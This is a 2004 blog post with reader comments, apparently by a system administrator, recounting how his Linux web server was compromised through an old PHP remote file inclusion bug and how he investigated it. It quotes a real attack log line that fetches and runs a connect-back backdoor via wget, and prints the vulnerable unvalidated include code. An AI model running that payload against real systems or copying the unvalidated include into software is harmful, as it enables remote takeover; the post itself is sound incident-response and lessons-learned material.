"That which is overdesigned, too highly specific, anticipates outcome; the anticipation of outcome guarantees, if not failure, the absence of grace."
-- William Gibson, All Tomorrow's Parties
Another day in the jungle.

Machines get compromised. Pretty much just the way things are, out here on the Internet. However, hastur getting owned was, to the best of my knowledge, the first time one of my UNIX machines has been popped.

hastur runs mirrorshades.org/net, foreword.com, amongthechosen.com, mail and DNS for all of it. It was a lame install, about two years old, before I started enacting filesystem-level security measures (half a dozen partitions, locked down mount options, filesystem checking utilities like AIDE). It was running Snort, but Snort can only detect so much, and looking back at the logs (which are emailed to me every morning -- obviously not the best solution, as they can be munged by an attacker who gains root), I don't see anything that would suggest the attack.

Which isn't Snort's fault, as this was an application-level fault.

But let's back up.

On Tuesday morning, I noticed a number of processes running that looked overtly suspicious, like four hundred pounds of raw bleeding beef at a PETA party. My initial reaction was to kill the processes and start crash forensics. Knee-jerking like that was a bad mistake: I should have started sniffing traffic and stracing those processes to see what the attacker was doing. Probably they wouldn't have noticed; seeing as how they just left a bunch of rogue programs running without hiding them, I thought it was unlikely they'd managed to gain root access.

However, a quick look at the kernel log showed an attempt against the rmemap bug in Linux kernels previous to 2.4.25. Yeah, you guessed it, hastur was running 2.4.24, with a 2.6 kernel compiled and waiting for a reboot. So certainly it was possible they'd managed to get a root shell, but if so, why leave their chocolate-covered handprints all over my nice white walls?

If you look at the process table output again, you'll notice that the first binaries, shell and ./cgi were executed on April 1st. So not only do we have an attacker whose techinical prowess is apparently low, you also have an admin who was ignoring this machine for twelve days. A volatile, idiotic combination.

I immediately disabled all accounts on the machine but mine, randomized all the passwords, and turned off all services but Postfix and djbdns. I felt relatively confident that these two services wouldn't have been the cause of the intrusion; the magic accomplice finger pointed directly at something related to Apache. Resetting the firewall rules to reflect the service changes, I moved on to the filesystem.

A quick locate for dc.txt suggested that

  1. The locate binary and database had apparently not been munged.

  2. The files had been written to /var/mail, which was mode 1777, due to pine and a previous POP daemon's insistence that they be so (and their lack of using suid mail file locking tools correctly). I had changed modes on this some time in the last two years; honestly I don't remember, which is obviously one of the reasons the attacker got this far.

  3. The files were owned by the Apache user, www-data, and dated between the first and the third of April.

  4. The attacker had exploited a PHP script (which run as the Apache user), or a CGI script which did not run as a user (e.g., under the auspices of suexec).

A cursory examination of the files written to disk showed that dc.txt was a backdoor written by a Brazilian web defacement group called Data Cha0s. Thanks to Tim for doing the googling on this one, while I was still in the mid-panic throes of determining just how owned the box was.

cgi was a (according to Adam) much nicer backdoor, apparently also written by a Brazilian. A google search for strings in the binary came up with the source code (mirror).

As you can see from the process list, dc.txt was run several times, twice without any options. The default values:

./dc.txt 666

which are defined in the binary, attempt to connect to a host in, as you can see, 169/8 space, which is a reserved, non-routable netblock.

The cgi backdoor, if you looked at the source, attempts to bind to a high port, 44464, but everything on hastur, except for known services, is firewalled off. So either they briefly modified the firewall rules, or replaced the iptables binary, or something similar so I couldn't see the firewall rule changes.

By this point I'd given Adam a call, as I wanted to make sure I didn't miss anything obvious. No core files, no triple-dot directories, nothing that would really suggest they'd gotten too far except for the kernel mremap-related log message. I hung up with Adam and headed to the office. My plan of action at this point was to do an install of a new drive at work and that night take it down to the colocation facility hastur lives at and swap them out.

Once I'd gotten to work, Adam messaged me and suggested that I run the local backdoor (cgi) and attempt to connect to it, to confirm whether or not the firewall rules had been munged. I couldn't get at it, but that only really suggests the possibility that they'd perhaps modified the rulesets to only allow connections from a specific host and done it in such a way that I couldn't see (replacing init, loading a masking Linux kernel module, any number of things). I killed the backdoor and moved on.

Checking Apache's error log showed someone executing a wget command as the Apache user. Awesome. This was a definite sign that the problem was some chunk of code somewhere on the box being served up by Apache.

However, this didn't tell me where the code was, or specifically, what it was they were exploiting to get the system to download their code for them.

I had re-enabled Dan's account before leaving for work, and as soon as I got into the office we started vetting the important virtual host directories for obviously exploitable code. Dan suggest we focus on looking for any calls to PHP's system, exec, or passthru functions. We came up empty.

I re-enabled the system's critical vhosts at this point, figuring that as long as I watched the machine, I should be okay. Dan's stuff is work-related so there's no way it could be down until I got out to the colo later that evening.

The rest of the day was pretty uneventful. I got the new root drive finished, drove it down to the colo (in the rain; every time I have to go down there, it's goddamn raining).

Not much else was discovered during this, as I had Real Work to do, and didn't really trust the tools on the machine (or init) to give me reliable information anyway.

Replacing the drive was standard. I copied over the stuff we cared about, brought the box back up, and eventually managed to get home to sleep, with the intention of doing actual forensics on the compromised disk the next day.

Unfortunately the tape robot at work didn't cooperate. It fell over, wheezing, and died, so I had to go in (to make an appearance; there's nothing I could do for it: hardware problems). As soon as I got home, I grabbed the owned disk and headed to Factory. (First I tried using a box I had laying around, but its IDE bus is hosed, so, yet another annoyance.)

Once I had the drive mounted on a machine at Factory, it took only a few minutes to determine that init hadn't been replaced. I had a valid md5 sum of the suspect binary, so all I had to do was go find verson 2.58-9 of Debian's sysvinit package to see what the actual md5 sum of the distribution's init was.

They matched.

So at this point I felt pretty sure that the machine hadn't been trojaned, but probably the attacker had managed to gain root through mremap. Not great, but far from horrible.

I copied the compromised disk image over to my laptop and headed home to dig through logs and determine just what script they'd used to run wget.

Up until this point, the only really suspect application on the machine was an old alpha version of Mantis. I didn't really think they'd have hit a custom script, but instead would rely on vulnerabilities in well-known applications.

After about a half hour of looking, I found it:

access.log.11.gz:pe164047212.user.veloxzone.com.br - - [03/Apr/2004:03:38:23 -0500] "GET /s2n/index.php?archive=http://spykids.hpgvip.com.br/xpl/cmd.gif?&cmd=cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20/var/spool/mail;wget%20www.oiaeu.com/dc.txt;chmod%20777%20dc.txt;./dc.txt%20200.164.47.212%20666 HTTP/1.1" 200 5044 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"

Well. Shit. There goes the Mantis theory.

As you can, see, it changes the archive query variable to point at a "gif" on a remote server, passing it a command... in this case, change directory, wget the dc.txt binary, and execute it.

They also fucked up a couple four times and had to re-run the script, hence those attempted connections to 169/8 land.

And here's the offending code, written in 1999:

if ($archive != "") {
include($archive); }
else {
include("news.php"); }

Yup. No input validation. Awesome.

01:09 <Danelope> Err, no.
01:09 <Danelope> Damn you, Bryan Allen.
01:09 <Danelope> You're including fucking ANYTHING.

We got in a brief debate about register_globals, during which Dan schooled my ass, and how it wouldn't have mattered anyway. In '99 I would have just included $_GET['archive'] anyway, replicating the bug.

There were also several hundred 777 directories on hastur, due to PHP, so they could have hidden their crap anywhere (as the Apache user), making it mildly less obvious (not that it mattered, since they didn't munge find or the locate db).

I repeated my earlier search for PHP's system, et al., functions, only for includes that looked like the above. I found a few more instances of the block, all in navigation blocks, all written at roughly the same time. Back when I was a total moron, as opposed to now, when I'm only mildly dangerous.

Anyway, talk about past shitty code coming back to bite you in the ass, huh?

There may be a few ways of getting around this problem if it exists (Engler digging around and me just asking Eric for info):

Disable allow_url_fopen, and then allow it on a per-script/application basis.

What a charlie foxtrot, on my part.

So thanks to that criminally stupid if up there, they managed to dump a shell onto the box.

So goddamn annoying. This is, to the best of my knowledge, the first UNIX machine I've had compromised. And of course it had to be by some no-talent script kiddie exploiting some idiotic mistake I made five years ago!

Happens to everyone eventually, of course. But still.

If nothing else, getting semi-owned gave me even more ideas for networking monitoring and management. I just need time to code. And preferably write code that is somewhat smarter than the lines which caused this particular fiasco.

I certainly have the motivation now.

A lot of the lessons this kind of shit teaches you I've already learned. My machines these days are pretty well anal. They're running fs checkers, have a dozen partitions with tight mount options, I stay up to date on kernel and application patches... hastur just fell behind because I didn't pay much attention to it.

And that's probably the most important lesson to be learned in a compromise, no matter how minimal the probable impact.

Problems with my examination:

  • I still don't know how they got the first backdoor, cgi installed. Nothing shows up in the logs files you'd think they be in, or anywhere else.

  • I didn't get netstat -p or lsof output of the machine in an owned state.

  • I didn't sniff traffic or processes.

  • It took six hours to get the machine's new root disk installed (not much I could have done about this one).

Ways to prevent this sort of crap:

  • Automated code auditing, looking for obvious shit like the above.

  • Non-stupid permissions on directories.

  • A system profile. Something along the lines of Tripwire or AIDE, but machine specific (which both do to some extent, but tailored for the box, with less obnoxious output).

  • Remote md5 sums checking. This is a tough one. More thoughts on it later.

April 15, 2004 12:26 AM

Consensus among #215 has been reached that it was probably the work of two attackers.

The first (cgi.c) cleaned up after himself which is why I couldn't find any logs detailing his activity. This is probably the guy who ran the mremap exploit. Then he either bragged about it to his friends or irked from the box, or in some other way broadcasted the shit code to his buddies.

The second guy didn't clean up after himself and was generally pretty sloppy.

I hadn't given this reasoning much thought, but it certainly seems likely. Thanks to Ian and Adam for bringing it up.

Posted by: bda at April 15, 2004 11:00 AM

I have the answer. To effectively monitor the sanity of your disks, you obviously cannot trust the host system. Run your crucial systems with mirrored hot-swappable disks, or, alternatively, use a disk sharing scheme such as shared-scsi (probably more pain than it's worth). Then with an off-line "trusted" machine (because hopefully you are careful and 'physical access only' keeps the machine in pristine shape), you can periodically mount the important volumes read-only and do any number of checks. Of course the primary test would be testing checksums of the important files against the previously recorded values. And since you have raw access to the disk, you can check the boot sector too! Yay. This is going to be my preferred way of monitoring my personal machines as I move towards using the hardware needed to do this. It shouldn't be horribly expensive. Maybe an extra $50-$75 per disk, plus the cost of keeping around the off-line machine.

Posted by: Nullboy at April 16, 2004 12:51 AM

I appreciate that you're insane, Bryce, but you should also take into account that this is a 1U half-pizza box in an open rack. :)

For high-availability systems where total security and absolute surety of data integrity is an organizational requirement, low-level solutions like shared-disk and or hidden mirroring tools (which is a ghettohack, imo) become an option.

I think I'll just try to not be bitter, stay current on patches, write better code, not take is personally, and learn from the experience. ;-)

I don't think I've discussed my network management/monitoring ideas with you, but automating a lot of the above comes into it. Patching, logging, user management, intrusion detection... a lot of it is just unifying available tools (Snort, tripwire, aide, various logwatching utils) or writing nicely generic, atomic custom programs.

I'll be writing papers on it in the next few weeks hopefully (and hopefully starting on keydist before that!).

Posted by: bda at April 16, 2004 1:01 AM

Hey, thanks for this well written info on your attack. It helped me get to the bottom of mine. I agree with your thoughts on two different culprits. On my RHEL 4 box it was just the "dc" program from a php exploit in old phpbb code.


Posted by: chris at October 17, 2005 12:27 AM

Well, getting owned by phpbb is certainly better than getting owned by your own old crappy code. :)

I've been dealing with a fair amount of RHEL4 nonsense at work:


(in progress)

Posted by: bda at October 17, 2005 10:33 PM

Thanks for the beautifully written article. I had my box compromised with php, basically the same with the only difference being the fact that they used the old forum code. At least it doesn't seem like the root privileges had been gained.

Posted by: Ivor at January 3, 2006 7:06 AM
Post a comment

Remember personal info?